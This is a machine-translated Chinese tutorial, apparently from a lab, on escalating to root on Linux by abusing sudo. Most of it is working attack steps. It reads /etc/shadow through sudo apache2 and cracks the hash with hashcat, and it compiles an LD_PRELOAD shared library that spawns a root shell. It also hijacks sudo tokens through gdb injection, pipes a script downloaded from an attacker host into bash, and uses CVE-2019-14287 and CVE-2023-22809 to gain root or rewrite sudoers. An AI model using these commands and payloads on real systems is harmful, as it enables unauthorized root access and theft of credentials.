本文透過 Google 翻譯 Sudo Part-2 – Linux Privelege Escalation - Juggernaut-Sec 這篇文章所產生,本人僅是對機器翻譯中部分表達不準確的字詞進行了校正及個別註釋補充。
導航
- 0 前言
- 1 第 1 部分快速回顧
- 2 利用 Sudo 命令 – 濫用預期功能
- 2.1 使用 Hashcat 破解 Shadows 雜湊
- 3 利用 Sudo 命令 – LD_PRELOAD 注入
- 4 利用 Sudo 命令 – Sudo 令牌重用
- 4.1 Shell 升級 – 完整 TTY
- 4.2 Sudo 令牌重用條件
- 4.3 手動尋找 Sudo 令牌重用條件
- 4.4 自動尋找 Sudo 令牌重用條件 – LinPEAS
- 4.5 利用 Sudo 令牌重用
- 4.5.1 exploit.sh
- 4.5.2 exploit_v2.sh
- 4.5.3 exploit_v3.sh
- 5 利用 Sudo 命令 – Sudo 版本 ≤1.8.27 (CVE-2019-14287)
- 5.1 列舉 Sudo 的版本
- 5.2 在 Google 上搜尋公開漏洞
- 5.3 利用 CVE-2019-14287
- 6 利用 Sudo 命令 – Sudo 版本 ≤1.9.12p1 (CVE-2023-22809)
- 6.1 瞭解 sudoedit 的工作原理
- 6.2 在 Google 上搜尋公開漏洞
- 6.3 檢視 CVE-2023-22809 漏洞利用指令碼
- 6.4 利用 CVE-2023-22809
0、前言
在這篇文章中,我們將繼續第 2 部分,瞭解如何透過濫用二進位制檔案 sudo特權來提權。
如果您尚未檢視 第 1 部分 ,我強烈建議您在閱讀本文之前先從第 1 部分開始。
在第 2 部分中,我們將把重點轉向更高階的漏洞利用主題,例如:濫用預期功能(即在 GTFOBins 上未發現的二進位制檔案的額外功能)、LD_PRELOAD、令牌重用以及兩個針對 sudo特定版本的 CVE 。
在我們開始討論漏洞利用示例之前,讓我們快速回顧一下第 1 部分中介紹的內容。
1、第 1 部分快速回顧
在這篇文章的第 1 部分中,我們瞭解到…
- sudo是什麼以及它是如何工作的
- 如何手動尋找sudo許可權
- 使用工具列舉sudo許可權 (LinPEAS)
- GTFOBins是什麼以及如何使用它
- 如何利用 GTFOBins 來利用四種不同的標準二進位制檔案:nmap、rsync、bzip2和dd
在第一篇文章中列舉和利用sudo許可權之前,我們首先透過找到的憑據並以標準使用者cain進行 SSH 登入,以在受害者機器上獲得初步立足點 。
除了我們已經在受害者身上利用的四個二進位制檔案之外,使用者sudo -l輸出中還有其它3個條目。
在本文的第二部分中,我們將重點關注這3個命令作為我們的特權升級示例。
在本文的每個示例中,我們都不會在 GTFOBins 上發現漏洞。相反,我們需要了解這些程式如何工作然後才能利用它們。
Let’s jump in!
2、利用 Sudo 命令 – 濫用預期功能
在我們的第一個示例中,我們將針對上面 sudo -l 輸出中發現的apache2這個二進位制檔案:(ALL : ALL) NOPASSWD: /usr/sbin/apache2
正如我們在第 1 部分中看到的,當我們發現我們對標準二進位制檔案具有sudo許可權時,我們首先應該檢查的第一件事是,該二進位制檔案是否在 GTFOBins 上具有可利用漏洞。
然而,在這種情況下,當我們過濾“apache”時,我們沒有得到任何結果(即沒有可用的漏洞利用!)
由於該二進位制檔案不在 GTFOBins 上,因此我們可以假設它不易受到攻擊。或者,我們可以繼續挖掘,看看是否可以以其它方式利用它。
我們可以透過Google搜尋“apache2 sudo privilege escalation”來挖掘。
前兩個連結看起來很有希望,透過檢查第一個連結我們可以看到它表明apache2存在檔案讀取漏洞!
看起來這個漏洞利用會輸出任何檔案的第一行。對我們來說幸運的是,shadow檔案的第一行包含root使用者的hash值!
測試漏洞利用...
sudo /usr/sbin/apache2 -f /etc/shadow
有用!我們可以在這裡看到它從 /etc/shadow 檔案中提取了root的雜湊值。
如果我們的谷歌搜尋不那麼幸運,下一步將是搜尋可能被濫用的預期功能。為此,我們需要使用 -h 或 –help 開關檢查幫助頁面。
現在我們已經從影子檔案中提取了root雜湊,我們需要破解它。
2.1、使用 Hashcat 破解 Shadows 雜湊
由於我們只需要hash值本身,因此我們只需從 $6$
複製 到 SHA-512 字串的末尾。將其複製到攻擊者計算機後,它應該如下所示:
接下來我們需要尋找該雜湊型別的破解模式,然後才能繼續破解。
hashcat -h | grep -i '$6'
這告訴我們我們有一個 SHA-512 Unix 作業系統雜湊值。
由於 Unix SHA-512 雜湊值很不錯,因此嘗試遍歷 rockyou.txt 檔案的所有字串將需要幾個小時。因此,我們可以使用較短版本的 rockyou 來加快速度。如果我們不成功,我們可以建立一個更大的詞彙表。
您可以從SecLists獲得一些縮短版本的 rockyou 檔案,以及更多好的字典。
hashcat -m 1800 ./root_hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt -o root_cracked
在短短 8 秒內,hashcat 就能夠破解root雜湊並恢復密碼。
現在我們可以將此密碼帶回給受害者並su root來提升我們的許可權!
su root
3、利用 Sudo 命令 – LD_PRELOAD 注入
LD_PRELOAD 也稱為預載入,是 Linux 動態連結器中的一項強大且高階的功能,它允許使用者將共享物件檔案注入(預載入)到程序的地址空間中(在程序開始執行之前)。
作為攻擊者,我們可以透過將我們自己的惡意預載入庫注入到任何可以使用sudo許可權執行的二進位制檔案中來利用此功能。
注意:這需要能夠編輯 LD_PRELOAD 環境變數。如果您收到以下錯誤:“sudo: sorry, you are not allowed to set the following environment variables: LD_PRELOAD”,那麼這將不起作用。
透過建立惡意預載入庫,我們將強制命令在執行實際命令之前預載入(執行)我們的庫。
首先,我們需要製作惡意庫。
這可以透過編寫和編譯以下簡單的 C 程式來完成:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
由於我們有完整的 TTY,因此我們可以直接在受害者機器上使用文字編輯器編輯文字。
現在我們已經建立了惡意的inject.c共享庫檔案,我們需要將其編譯成共享物件。
gcc -fPIC -shared -nostartfiles inject.c -o inject.so
Perfect!我們的共享庫已準備就緒。
之前,我們看到一些二進位制檔案沒有為我們提供直接的 root shell:bzip2、dd和apache2 ,幸運的是,我們可以利用我們建立的惡意共享物件檔案來注入這3個二進位制檔案中的任何一個,或任何其他我們可以使用sudo執行二進位制檔案以獲得 root shell。
sudo LD_PRELOAD=/home/cain/inject.so /usr/sbin/apache2
Amazing!因為我們能夠設定 LD_PRELOAD 變數,所以我們可以輕鬆地從任何可以使用sudo執行的二進位制檔案中獲取root shell !
4、利用 Sudo 命令 – Sudo 令牌重用
sudo不僅是一個二進位制檔案、組和特權,它還是一個令牌!
雖然它並不是真正的令牌,但它已經被標記化了,因為它可以記住狀態(距離上次使用已有多長時間)。
當我們使用sudo執行命令時,它通常會提示輸入當前使用者的密碼。提供密碼後,系統會建立一個令牌,該令牌會記住該密碼 15 分鐘。這允許使用者多次使用sudo而無需不斷輸入密碼。
儘管這是一個有用的功能,但如果條件合適的話,它也有其漏洞。
在這個例子中,我們將從使用者cain出發,假裝我們已經作為使用者juggernaut在目標上獲得了立足點。
另外,假設我們透過利用 Web 應用程式漏洞獲得了立足點,因此我們目前不知道使用者密碼。
從這篇文章的第 1 部分中,我們看到juggernaut位於sudo組中,這意味著該使用者可以使用sudo執行任何命令--只要預設配置沒有更改即可。
這也意味著我們需要知道使用者的密碼才能使用sudo執行命令。
4.1、Shell 升級 – 完整 TTY
由於這個 shell 不是使用 SSH 建立的,因此我們獲得立足點後要做的第一件事就是將 shell 升級為完整的 TTY。
python3 -c 'import pty;pty.spawn("/bin/bash");'
CTRL + Z #backgrounds netcat session
stty raw -echo
fg #brings netcat session back to the foreground
export TERM=xterm
現在我們有了完整的 TTY,就可以使用上下鍵瀏覽命令歷史記錄、使用tab鍵補全命令、clear命令清屏等。
此步驟對於本示例來說是必要的,因為sudo會提示輸入密碼,而只有在擁有完整的 TTY 時我們才能看到該密碼。
現在我們有完整的 TTY,執行sudo -l,我們可以看到我們需要使用者的密碼才能使用sudo。
此時,我們應該開始在系統中尋找使用者密碼;不過,在本例中,我們將尋找令牌重用的機會。
如果你有一個具有 sudo 許可權的使用者 shell,但不知道該使用者的密碼,你可以等待他/她使用 sudo 執行某些命令來建立令牌。令牌建立後,你就可以從 sudo 的會話中訪問令牌,並使用它執行任何帶有 sudo 的命令。
4.2、Sudo 令牌重用條件
值得注意的是,必須滿足一些條件才能利用此漏洞。
- 我們需要有一個擁有sudo許可權的使用者的shell
- 同一使用者必須擁有一個具有有效 sudo 令牌的活動程序(shell +在過去 15 分鐘內執行sudo )
- Ptrace需要完全啟用
- 主機上需要有 gbd 命令(如果主機上沒有 gbd,可將其複製過來)
現在我們知道了此漏洞利用所需的條件,讓我們看看如何手動或使用 LinPEAS 來列舉條件。
4.3、手動尋找 Sudo 令牌重用條件
由於我們已經確認當前使用者具有sudo許可權,因此我們可以繼續檢查 Ptrace 的狀態。
cat /proc/sys/kernel/yama/ptrace_scope
Great!在這裡我們可以看到它被設定為“0”,這意味著它已完全啟用。
接下來,我們需要檢查受害主機上是否安裝了gdb 。
為此,我們只需嘗試執行命令gdb即可。如果我們進入gdb提示符,那麼我們就知道它已安裝並且可以訪問(在我們的 PATH 中)。
最後,我們需要查詢當前使用者擁有的 "shell "程序。如果找到了,我們就可以嘗試注入它們,看看是否有 sudo 令牌。
ps -ef | grep "bash\|sh" | grep -i "jugger"
這表明我們當前使用者擁有兩個bash程序:439 和 2516
其中一個程序是我們當前的 shell,可能是 PID 較高的那個。然而,另一個程序(439)的所有者是系統中的實際使用者,他們像往常一樣工作。
此時,我們可以使用以下命令測試 POC 以檢視程序是否可注入(如果使用者在過去 15 分鐘內從該 shell發出sudo ):
echo 'call system ("echo | sudo -S touch /tmp/juggernaut ; echo | sudo -S chmod 777 /tmp/juggernaut")' | gdb -q -n -p "439" >/dev/null 2>&1
如果bash程序中有可用的sudo令牌,則會在/tmp目錄中建立一個所有者是 root 且命名為 juggernaut 空檔案。
Amazing! POC 起作用了,這意味著程序 439 中有一個sudo令牌。
在我們利用這一點之前,讓我們快速檢查一下 LinPEAS 在這方面做得如何。
4.4、自動尋找 Sudo 令牌重用條件 – LinPEAS
在本文的第 1 部分中,我們使用 LinPEAS 來列舉sudo許可權。這次我們將檢查它列舉sudo令牌重用漏洞的能力。
由於攻擊者機器上的 Web 伺服器仍在執行,我們可以再次將 LinPEAS 直接下載到記憶體中。
curl 172.16.1.30/linpeas.sh | bash
檢查“User Information“部分,我們可以看到我們當前的使用者juggernaut位於sudo組中,但前提是您知道使用者密碼。
此外,這次執行令牌檢查時,發現了可重用的sudo令牌。
LinPEAS 自動完成了我們所做的一切。首先,它檢查 ptrace 是否設定為 0(完全啟用)。接下來,它會找到 shell 程序並嘗試注入它們,就像我們為 POC 所做的那樣。最後,它表明sudo令牌在該過程中是可重用的,因為它能夠建立檔案,就像我們手動建立的檔案一樣。
如果我們檢查/tmp資料夾,應該有一個所有者是 root 且命名為shrndom32r2r的空檔案。
Perfect! LinPEAS 在列舉sudo令牌重用漏洞方面做得非常出色。
對於此漏洞,您可能不會手動列舉它。您很可能會從 LinPEAS 輸出中找到它。但是,如果您發現除 POC 之外的所有內容都失敗了,則可以設定一個迴圈以每 5 分鐘測試一次注入,直到成功。
4.5、利用 Sudo 令牌重用
要利用sudo令牌重用,我們需要前往此處的 GitHub 頁面來獲取漏洞。
在 GitHub 儲存庫上,我們將找到三個可以測試的指令碼。如果其中一個失敗,那麼我們將繼續進行下一個,直到獲得 root shell。
首先,我們需要將整個儲存庫克隆到攻擊者計算機上,然後將要傳輸給受害者的檔案複製到我們的工作目錄中。
git clone https://github.com/nongiach/sudo_inject.git
cd sudo_inject
cp exploit* /your/working/directory
cp activate_sudo_token /your/working/directory
接下來,我們需要將每個指令碼的副本以及二進位制activate_sudo_token傳輸到受害計算機。
為此,我們可以從工作目錄中啟動一個快速的 Web 伺服器,然後將所有檔案下載到受害者上。
python3 -m http.server 80
接下來,我們可以在受害者計算機上下載所有四個檔案,如下所示:
curl 172.16.1.30/exploit.sh -o /tmp/exploit.sh
curl 172.16.1.30/exploit_v2.sh -o /tmp/exploit_v2.sh
curl 172.16.1.30/exploit_v3.sh -o /tmp/exploit_v3.sh
curl 172.16.1.30/activate_sudo_token -o /tmp/activate_sudo_token
將所有檔案下載到受害者後,我們需要授予所有檔案執行許可權。
chmod 755 /tmp/exploit* ; chmod 755 activate_sudo_token
完美的!一切準備就緒,開始測試。
4.5.1、exploit.sh
如果我們檢查第一個指令碼,我們可以看到它建立了一個無效的sudo條目,用令牌注入activate_sudo_token二進位制檔案(如果存在),然後將令牌啟用到我們當前的會話中。
為了讓漏洞發揮作用,將exploit.sh和activate_sudo_token放在同一目錄中非常重要。
讓我們測試一下...
/tmp/exploit.sh
這裡我們可以看到程序439被注入,這意味著令牌應該已經成功啟用到我們當前的會話中。
為了測試它是否有效,我們所要做的就是執行sudo su並希望我們進入 root shell。
Amazing!我們成功竊取了實時sudo令牌,這使我們能夠以 root 身份執行任何我們想要的命令!
如果由於某種原因執行sudo su沒有讓您進入 root shell,您可以嘗試透過執行activate_sudo_token來手動啟用 sudo 令牌。
或者,如果exploit.sh 無法工作,我們需要繼續嘗試exploit_v2.sh。
4.5.2、exploit_v2.sh
讓我們看看第二個漏洞的作用。
與上一個漏洞類似,此漏洞注入 shell 程序以重用sudo令牌。但是,此漏洞利用令牌將sh複製到/tmp資料夾中,然後設定 SUID 位,而不是將令牌注入activate_sudo_token二進位制檔案並啟用完整的sudo許可權。
/tmp/exploit_v2.sh
Great!在這裡我們可以看到漏洞利用有效併成功地重用了令牌。
現在我們需要做的就是執行 SUID sh檔案並進入 root shell。
/tmp/sh -p
Awesome!另一個root shell !但是,如果這也不起作用怎麼辦?如果發生這種情況,我們需要繼續測試exploit_v3.sh。
4.5.3、exploit_v3.sh
最後,讓我們快速瀏覽一下第三個漏洞,看看它做了什麼。
此漏洞利用會建立一個有效負載,該有效負載可全域性啟用sudo並將令牌計時器設定為無限期執行。建立有效負載後,該漏洞會將有效負載注入到sudoers.d目錄中名為win的檔案中。最後,執行sudo -i以進入 root shell。
/tmp/exploit_v3.sh
Awesome!令牌被重用並直接將我們帶入 root shell!
現在我們已經廣泛討論了令牌重用,讓我們將重點轉移到影響不同版本的sudo二進位制自身的漏洞利用上。
5、利用 Sudo 命令 – Sudo 版本 ≤1.8.27 (CVE-2019-14287)
對於最後兩個示例,我們將以使用者cain返回 shell 。
正如本文第 1 部分所述,sudo 是一個程式(二進位制),這意味著它由於多次升級/更新而具有多個版本。這意味著 sudo的某些版本可能 具有公共漏洞和分配給它們的 CVE。
5.1、列舉 Sudo 的版本
獲得立足點後需要檢查的一件重要事情是受害主機上正在執行哪個版本的sudo 。
我們可以使用以下命令檢查受害者上執行的sudo版本:
sudo -V
這裡我們可以看到sudo版本是1.8.16。
5.2、在 Google 上搜尋公開漏洞
我們的下一步是將其帶到 Google 以檢視此版本的sudo是否有任何漏洞。
這兩個頁面看起來都很有希望。在第一個網頁的描述中,它提到該漏洞會影響 1.8.28 (≤1.8.27) 之前的所有版本。
第二頁是exploitdb,它看起來與第一頁中提到的利用相同。那麼讓我們從這裡開始吧。
檢視該漏洞,我們可以看到它影響sudo ≤1.8.27的所有版本。
如果有一個sudo條目允許當前使用者以所有使用者身份執行程式並指定 !root(非 root),則可以繞過此非root限制並仍然以 root 身份執行。
5.3、利用 CVE-2019-14287
檢查sudo -l輸出,我們可以看到當前使用者可以使用類似的命令。
該條目表示我們當前的使用者可以以任何非root身份執行/bin/bash,而無需指定任何使用者的密碼。
但是,如果我們遵循漏洞利用示例,我們可以執行以下命令來繞過此限制並以 root 身份執行/bin/bash。
sudo -u#-1 /bin/bash
Cool!這表明,當我們傳遞 UID -1 時sudo會感到困惑。
由於 UID -1 不存在,因此程式會自動使用下一個存在的 UID,即“0”或最終的 root。
6、利用 Sudo 命令 – Sudo 版本 ≤1.9.12p1 (CVE-2023-22809)
對於我們的最後一個示例,我們將回顧一個新的漏洞(在撰寫本文時):CVE-2023-22809。
6.1、瞭解 sudoedit 是如何工作的
早些時候,當我們執行sudo -l時,輸出顯示了一個使用sudoedit的命令。
sudoedit類似於sudo -e,這是sudo提供的一種只用來編輯檔案而不是執行檔案的方式。
因為sudoedit相當於sudo -e,所以當我們執行此命令時,我們不會將s udo 新增到它的開頭,因為sudo已經隱含了。
sudoedit /etc/apache2/apache2.conf
執行上述命令將建立apache2.conf檔案的副本,其是以當前使用者身份開啟它而不是 root,儲存時會用該副本覆蓋現有檔案。
這與使用具有sudo許可權的文字編輯器(例如sudo vim )不同,後者實際上以 root 身份開啟檔案。
注意:在下一個示例中,我們需要知道當前使用者的密碼,因為沒有指定 NOPASSWD。我用 NOPASSWD 測試了這個漏洞,但沒有成功。也許這是一種快速的修補方法?- 我不知道......也許最好升級到最新版本。
6.2、在 Google 上搜尋公開漏洞
由於安全研究人員最近披露了此漏洞,並影響廣泛的sudo版本(1.8.0 至 1.9.12p1),因此在 Google 搜尋sudoedit漏洞時會立即出現該漏洞。
在這裡我們可以看到兩個有趣的 CVE 位於搜尋結果的頂部。
然而,讓我們假裝我們還不知道我們在尋找什麼……好吧,在這種情況下,我們可能會先測試最上面的一個。
檢查這裡的GitHub連結,我們可以看到有一個測試命令來檢視主機是否存在漏洞。
我們自己測試一下,希望能得到一個分段錯誤。
sudoedit -s '\' `perl -e 'print "A" x 65536'`
但是,我們收到“Usage”訊息,這表明該版本(1.8.16)不易受到攻擊。
如果您研究 CVE-2021-3156,您會發現該漏洞適用於各種sudo版本,但相當不一致:“影響 sudo 舊版本 1.8.2 到 1.8.31p2 以及穩定版本 1.9.x 到 1.9.5p1
看起來我們的版本正好低於易受攻擊的版本。
好吧,繼續,接下來我們可以檢視第二個漏洞利用的連結
我們立刻就可以看到這個看起來更有前途。它涵蓋了更廣泛的版本,包括受害者上的版本,並且還影響該範圍內的所有版本。
由於這看起來不錯,讓我們繼續在攻擊者計算機上獲取一份副本,然後檢視指令碼。
6.3、檢視 CVE-2023-22809 漏洞利用指令碼
將指令碼複製到攻擊者計算機上後,我們可以看看它做了什麼。
在這裡我們可以看到指令碼透過檢查sudo版本來啟動。接下來,它建立變數“EXPLOITABLE”,然後使用它來檢查使用者是否可以以 root 身份執行sudoedit。
如果兩項檢查均成功,則程式會透過強制編輯任意檔案(本例編輯的是sudoers 檔案)而不是sudo -l輸出中指定的檔案來利用sudoedit。
在 1.9.12p2 之前的 Sudo 中,sudoedit(又名 -e)功能會錯誤處理使用者提供的環境變數(SUDO_EDITOR、VISUAL 和 EDITOR)中傳遞的額外引數,從而允許本地攻擊者在要利用的文字檔案中新增任意條目。這可能導致許可權升級,受影響的版本為 1.8.0 至 1.9.12.p1。該問題存在的原因是使用者指定的編輯器可能包含一個會破壞保護機制的"-"引數,例如 EDITOR='vim - /path/to/extra/file' 值。
偉大的!現在我們瞭解了這個漏洞的作用,讓我們用它來獲取 root shell!
6.4、利用 CVE-2023-22809
好吧,由於我們的 HTTP 伺服器仍在執行,我們可以將漏洞利用程式下載到受害者身上併為許可權升級做好準備。
curl 172.16.1.30/CVE-2023-22809.sh -o /tmp/CVE-2023-22809.sh
chmod 755 /tmp/CVE-2023-22809.sh
在轉移漏洞並賦予其執行許可權後,剩下要做的就是執行它並希望獲得 root shell。
真相時刻……
/tmp/CVE-2023-22809.sh
這向我們表明使用者很容易受到攻擊,並要求我們按任意鍵繼續。只需按 [Enter],sudoers檔案就會開啟並可編輯。
此時,我們所要做的就是新增以下行以提供完整的sudo許可權。
cain ALL=(ALL:ALL) ALL
由於這是vim ,在我們新增行並解鎖sudo的全部潛力後,我們需要按CTRL + C退出“編輯模式”,然後輸入wq! 強制儲存更改。
完成後,我們應該發現我們已自動進入 root shell,因為漏洞利用是透過執行sudo su完成的。
Awesome!它是有效的,我們能夠成功編輯sudoers檔案,即使我們沒有這樣做的許可權!